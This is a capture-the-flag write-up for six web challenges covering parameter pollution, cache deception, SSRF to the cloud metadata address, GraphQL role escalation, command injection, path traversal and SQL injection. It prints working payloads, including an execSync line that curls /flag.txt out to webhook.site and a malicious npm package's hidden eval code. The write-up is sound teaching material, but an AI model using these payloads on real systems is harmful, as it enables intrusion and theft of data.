FawazeerCyberWrite-Ups
Omar Mohamed
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

Hey there! It’s Omar. Welcome to my write-ups for the Fawazeer Cyber (cyberfz.com), cooked up by the awesome Omar Alzughaibi and Anas Almizani.
I’ll walk you through cracking these step-by-step explaining the solution, why did it happened and the technical aspect of it, not just the security part. Let’s dive in!
Challenges
March 3, 2025
- Pull The Door | Easy | HTTP Parameter Pollution (HPP) to bypass ID checks.
- Out Of Reach | Medium | Cache Deception and SSRF to access cloud internals.
March 7, 2025
- Pr1v | Easy | GraphQL introspection to find and exploit a mutation.
- Call Me | Medium | Leaking JWT token via JS and command injection.
March 10, 2025
- The Other Side | Medium | Path traversal in middleware to access internal endpoints.
- L33T | Medium | Source code review leading to SQL injection and malicious package exploitation.
Pull The Door
Starting with the first challenge, visiting the site you see a register and login form. I registered an account and logged in. After logging in, I got a page showing my username and an
id=33
parameter in the URL.
Noticing that
id=33
right away—IDOR comes to mind. So I changed it to id=1
to test it.
Got an
Unauthorized
response. The backend’s clearly checking if the ID matches my session. Next idea: what happens if I send two IDs? Tried id=33&id=1
.
And there it is—success. Let’s break down why this worked.
This is a case of HTTP Parameter Pollution (HPP). It happens when the backend doesn’t handle multiple parameters with the same name properly. Here, it checks the first
id
(33) against my session, sees it’s valid, but then uses the second id
(1) to fetch the data. That mismatch is the vulnerability.That wraps up the first challenge.
CyberFZ{1love_1d0r_w17h_p4r4m373r_pull1070n}
Easy enough? Let's hop to the second one.
Out Of Reach
The second challenge is a bit more complex. Visiting the site, registered and logged in, I got this page:

It's a page with your username, some stats, a hint and an input field that you use to pass a path to the superadmin.
The hint: "The static appears safe, but is that always the truth?"
Also there was
VIEW_STATS
button that navigates you to /profile/username
and you can see your stats.
You can also see the stats of other users by changing the username in the URL.
Before diving deep, I usually check all the stuff I have, so I checked the page source and found a js file. Since the page metioned
superadmin
, I searched for superadmin
in the js file and found this:
isSuperAdmin
value is being fetched from your local storage. And indeed when I checked my local storage, I found it:
You could have found this by checking directly anyway, it's the same thing, just always check every thing you have.
Changed it to true and also set the username to
superadmin
and got a different UI:
Got a fake flag and the input field's label changed along side with the hint: "A service that sends requests to our cloud to verify the integrity of our URLs."
That was what I found so far. Now let's start some action.
Going back to the first page I had (the one where isSuperAdmin is false), I submitted a dummy path in and got this response:

After some trial and error and the fact it said "path", when I tried "profile" (a valid path in the website) I got some credentials:

Also if you pass
profile/superadmin.css
(a static file path), you will get the credentials as well. The hint is clear now, the static files are not safe.This is related to cache deception vulnerability, where the server sends some sensitive user date in
/profile/username
that shouldn't be cached, but on the other hand the caching server caches paths ending with extensions like .js
and .css
, so passing profile/superadmin.css
gets you some cached sensitive data of the SuperAdmin. You can learn more about it from here.Now logging in with the SuperAdmin credentials, we got the same UI as the second one above.

Here I suspected some sort of SSRF (passing
http://localhost
or http://127.0.0.1/
) but that didn’t yield anything. Looking at the hint again: "A service that sends requests to our cloud to verify the integrity of our URLs.", it mentioned "cloud".. could that be hosted on some sort of cloud service that I could read its metadata?Little Explanation
Since this was (potentially) pointing to a cloud environment, I started thinking about AWS. On AWS, instances often expose metadata through
http://169.254.169.254/
, the link-local IP for the Instance Metadata Service. It’s not quite localhost (127.0.0.1), which would host services directly on the machine, but rather a cloud-provided endpoint accessible only within an EC2 instance.If the server was running on AWS, an SSRF vulnerability might let me trick it into fetching from
http://169.254.169.254/latest/meta-data/
, giving details like the instance ID, IAM roles or even better.. the flag!Note: If you don't fully understand the above, you can look these up and read more about them from the attached links or by simply searching google. Here is a writeup regarding this AWS metadata leaks.
Now Let's try this out!
http://169.254.169.254/latest/meta-data/
didn't work but only http://169.254.169.254
worked and got the flag path at /flag.txt


CyberFZ{cach3d_3xpl0rati0n_t0ssrf}
And that's it for the first day of the Fawazeer Cyber Challenges.
Now for day 2, let's start with an easy challenge.
Pr1v
Fired up burp, visited the site, registered and logged in, I got this page:

When I click
/flag
I got Pemission Denied.There weren't any more functionalities so I hopped into burp.

First thing caught my eye was
/graphql
endpoint. If you studied any basics of GraphQL, you would know that the first thing to do is to check the introspection.If introspection feature left active, you can get all the schema of the API and see all the queries and mutations you can do. (Study from Portswigger)
Using the following query:
graphql
{
__schema {
queryType {
name
}
mutationType {
name
}
types {
name
fields {
name
args {
name
type {
name
}
}
}
}
}
}
I got the schema, and found a mutation called
setRole

Sent the following mutation:
graphql
mutation {
setRole(username: "mushroom", role: "admin")
}
And got the following response:
json
{
"data": {
"setRole": "Role for mushroom updated to admin with new token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJYVnphSEp2YjIwPSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0MTM3NjgyMiwiZXhwIjoxNzQxMzc3MTgyfQ.zhJfDn0Mk7l01GjmEFS7VO1acDAhfs9L3bf2zVZepHo"
}
}
Used the token to get the flag from
/flag
.CyberFZ{ju5t_4_gr4phql_4774cks}
Call Me
Second challenge.. a one that I really ejoyed and learnt a valuable lesson from.
First thing I fired up burp, navigated through the site, registered and logged in

There was a Reset Password functionality that accepts a username.
That was it so far, not much functionalities, so I went to burp to examine the requests. One of the things I saw was
/api/admin
request, though It got me Acess denied.The descibtion of the challenge was "A single call, a single token. Will you find it?"
So the first thing I started playing with was the JWT token. I had tried almost all the techniques I know but that yielded me nothing.
(The majority of those techniques are here)
"Always check everything you have". I didn't follow that rule and went straight up testing JWT, that costed me some time. So I went back to the site and checked the page source and found a js file.

Since this was a React app which is heavily based on client side js (You can know that using extensions like Wappalyzer),
I searched for
api
and got some results:
It was so un organized so I downloaded the file and opened it in VSCode then used prettier to format it. (You can use the online version as well)
I checked those api calls and found a new endpoint
/api/clone
, but It got me Acess denied as well. All other endpoints were normal except this /api/reset-password
one:
There was this parameter called
callbackUrl
that I didn't notice any where in burp.The js file might look hard for some not mentioning it is also obfsticated, one way around it is passing it to any AI model and it will exaplain it to you.
Any way to keep things simple, I tried it in my request with my burp collaborator link and it was a success! (You can use webhook.site for free)


I put the token in my local storage and got a new UI:

Submited a Clone Repository request and went to burp. Got the follwing response:
json
{
"error": "Clone failed",
"details": "/bin/sh: git: not found\n"
}
Interesting.. I got
/bin/sh: git: not found
, this is an indication that the url I passed is inserted into a shell command and executed, but since git
not installed, I got this error.Now we have a command injection vulnerability (Personal Favourite <3). The command is probably something like
git clone <url>
. If you tried to pass any command like ls
or whoami
you will get the same error, the reason is that your command is being executed as an argument to git
, so we have to seperate it some how.To do that, we can use
;
or &&
to make it execute on its own. But it was getting filtered.json
{
"error": "Invalid repository URL"
}
Tried some other techniques like
|
(Pipe), ( )
(subshell) ... until I got success with \n
(newline character)
And that's it! Found the falg in the root directory.

CyberFZ{J5_R3c0n_70_1npu7Byp455_70_RC3}
At end, it just needed some recon and digging. The lesson learnt is to start simple and then go complex! That wraps it for day 2. Hope you had a great time reading this!
Day 3! Today we've got a white box challenge! Cool ha? let's keep the good stuff at the end and start with the black box one
The Other Side
The site was pretty basic, registration and login, some endpoins with one to retrieve products, mostly static, not much functionalities.
I hopped into burp to investigate further.

There were 2 hints:
- Different calls, different truths. Can you hear them?
- APIs are calling, but do you know what they’re saying?
"Diffrent calls".. that might be related to some kind of middleware API between the client and the internal server. Also in the second hint "APIs are calling", that supports the assumption of a middleware API.
What am I talking about?
This middleware sits right between the client and the internal server. It’s the bridge that keeps everything connected, moving data back and forth. Think of it as a go-between, it takes what the client asks for (like a product list or a login) and passes it to the server, then grabs the server’s reply and sends it back.
It can tweak or check stuff along the way. For example, you might hit an endpoint like
/api/{something-you-passed-here}
, and the middleware hands that {something-you-passed-here}
off to the server to process.On the server part, it is probably another local endpoint, for example
http://127.0.0.1:3000/internal-endpoint/{something-you-passed-here}
, so in our example the middleware parses this after the /api/
and sends it to the server. The server does its thing, like fetching data or running a check, and the middleware makes sure it gets back to you.So what if the middleware doesn’t sanitize or check what you pass in? You could trick it into sending your request to a different endpoint via path traversal or similar techniques. And that is what we have here!
In
/api
endpoint, passing ../../../../
after it, I got the following response:
That's the root page of the internal endpoint the server is interacting with. We got a
/admin-login
endpoint that we discovered by path traversal. I accessed it by /api/../../../../admin-login
.Next, it was just a simple SQL injection to ge the flag:

CyberFZ{3c0nd4ry_c0nt3xt_c4n_b3_h4rmful!}
L33T
Now let's enter the Mystery Vibes Portal!

This one is a white box challenge. First I navigated through the site, registered and logged in. I was logged in as a standard user. Not much there so I hopped into VSCode to check the source code.

It is a node.js app, the first thing I check is the npm packages. There might be an old version of a package that has a known vulnerability.
But there wasn't any so we move on to the main file
server.js
.To keep things short, here is what the
server.js
file about: It creates tables in db, adds an admin account, initializes some important functions for authentication and authorization and defines the routes.You can check the source code your self from here, I will only include the important parts.
This is the part where the users table is created. notice the
role
column is set to user
by default.js
db.run(`CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
role TEXT NOT NULL DEFAULT 'user',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
last_login DATETIME DEFAULT CURRENT_TIMESTAMP
)`);
Here we have a function that checks the role of the user and if it doesn't match the required role, it returns Access denied.
js
const authorizeRole = (role) => {
return (req, res, next) => {
if (req.user.role !== role) {
return res.status(403).send("Access denied");
}
next();
};
};
Leter in the code we notice
authorizeRole('admin')
is used to protect the admin routes. So now we know we have 2 roles, user
and admin
.After some code we can notice a clear SQL injection in the login endpoint.
js
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({ error: 'Username and password are required' });
}
// === HERE ===
db.exec(`SELECT last_login FROM users WHERE username = '${username}' ;`, (err) => {
// ============
if (err) {
return res.status(500).json({ error: err.message });
}
...
I exploited it to update my role to
admin
.SQL
'; UPDATE users SET role = 'admin' WHERE username = 'mushroom'; --


I got a new functionality here (Calculator), it was the
/api/eval
endpoint.js
app.post("/api/eval", (req, res) => {
const { expression } = req.body;
if (!/^[0-9+\-*/\s]+$/.test(expression)) {
return res.status(400).json({ error: "Invalid expression" });
}
try {
const result = eval(expression);
res.json({ result });
} catch (err) {
res.status(400).json({ error: "error" });
}
});
This expression is pretty solid, it only allows numbers and the basic math operators. JSFuck came to my mind, it is a technique to write any javascript code using only 6 characters. but these characters were not allowed here.
After some time in the code, no other logic issues were found, so I checked the packages:
js
const express = require("express");
const path = require("path");
const sqlite3 = require("sqlite3").verbose();
const jwt = require("jsonwebtoken");
const bcrypt = require("bcryptjs");
const cookieParser = require("cookie-parser");
require("dotenv").config();
const crypto = require("crypto");
const app = express();
const { tasks_viewer } = require("tasks_mangement");
They were all common for a nodejs app except for one:
tasks_mangement
(If you don't have dev experience, you can pass it to AI and ask it for uncommon packages)A side note: any one in the world can publish a package to npm, think of it as a public repository for packages.
I visited npmjs.com and searched for
tasks_mangement
, I found a package that was published just days ago.
Checked the package source code and went for the
tasks_viewer
function used in our source code:js
function tasks_viewer(encodedInput) {
try {
let input = atob(encodedInput);
let hiddenFunc = Function["constructor"]("return " + input)();
return hiddenFunc();
} catch (e) {
return e;
}
}
Explanation: The
atob
function decodes a base64 encoded string, then the Function["constructor"]
is used to create a new function from the decoded string, and finally it is executed due to the ()
at the end.Function["constructor"]
: This accesses the Function object’s constructor directly. The Function constructor in JavaScript allows you to create a new function from a string of code at runtime. It’s similar to eval()
, but it creates a standalone function rather than executing code in the current scope.(If you don't fully get it, I recommend chatting with AI a bit to understand how it works)
Now.. where is
tasks_viewer
used in our code?js
app.get('/api/tasks/:id', authenticateToken, authorizeRole('admin'), (req, res) => {
...
tasks_viewer(tasks[0].description); // <== HERE
res.json(tasks);
});
});
So our payload gonna be in a task description and we execute it by accessing
/api/tasks/:id
endpoint.The output is not directly returned, so this is Out of Band (OOB). We are gonna use curl since we can see in the Dockerfile that it is installed.

My command will be:
bash
curl http://webhook.site/your-unique-id?$(cat /flag.txt)
Now to make it execute we will use
child_process
package, to do it in one line we would do:js
process.mainModule
.require("child_process")
.execSync("curl http://webhook.site/your-unique-id?$(cat /flag.txt)");
Base64 encode it -> Put it in the task description -> Access the endpoint -> Get the flag!

CyberFZ{1s_th3_p4ck4ge5_b3_vuln3r4bl3}
And that's it for the Fawazeer Cyber Challenges day 3! Hope you enjoyed reading this! Find me on X | Twitter. Stay tuned for more! 🚀
Tags: